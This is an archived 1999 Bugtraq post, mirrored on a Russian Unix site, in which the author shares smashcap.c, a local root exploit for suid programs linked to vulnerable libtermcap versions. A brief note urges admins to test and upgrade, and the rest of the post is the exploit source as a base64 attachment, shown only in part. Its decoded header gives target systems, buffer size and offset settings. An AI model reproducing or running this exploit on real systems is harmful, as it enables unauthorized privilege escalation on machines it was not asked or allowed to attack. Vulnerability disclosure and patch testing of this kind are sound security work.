The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Новость: Увеличиваем производительность приложений использующих mod_perl
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

local libtermcap exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Thu, 19 Aug 1999 08:56:14 -0500
From: sk8 <sk8@LUCID-SOLUTIONS.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: local libtermcap exploit

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---725540659-895332205-935070974=:26359
Content-Type: TEXT/PLAIN; charset=US-ASCII


	Well, I wrote this a little while back.  This is a serious bug,
so people should be able to test their systems properly.  All admins
should definitely upgrade to the newest libtermcap.

				- sk8 of LS




---725540659-895332205-935070974=:26359
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="smashcap.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.3.96.990819085614.26359B@radical.org>
Content-Description:

LyogTG9jYWwgZXhwbG9pdCBmb3Igc3VpZCByb290IHByb2dyYW1zIGxpbmtl
ZCB0byBsaWJ0ZXJtY2FwIDwgMi4wLjgtMTUgDQogKg0KICogdGVzdGVkIHdp
dGggeHRlcm0gYW5kIG54dGVybSBvbiBSZWRIYXQgNS4yIGFuZCA0LjINCiAq
DQogKiBzazhAbHVjaWQtc29sdXRpb25zLmNvbQ0KICogaHR0cDovL3d3dy5s
dWNpZC1zb2x1dGlvbnMuY29tDQogKg0KICogVXNhZ2U6DQogKiAuL3NtYXNo
Y2FwICAJCS1kZWZhdWx0IGlzIGJ1ZmZlciBzaXplIG9mIDQyMTAgYW5kIG9m
ZnNldCBvZiAzMDANCiAqCQkJIGFuZCBzZWVtcyB0byB3b3JrIG9uIFJIID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9iaW4veHRlcm0iLCJ4dGVybSIs
IDApOw0KCQ0KfQ0K
---725540659-895332205-935070974=:26359--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network.
RB2 Network.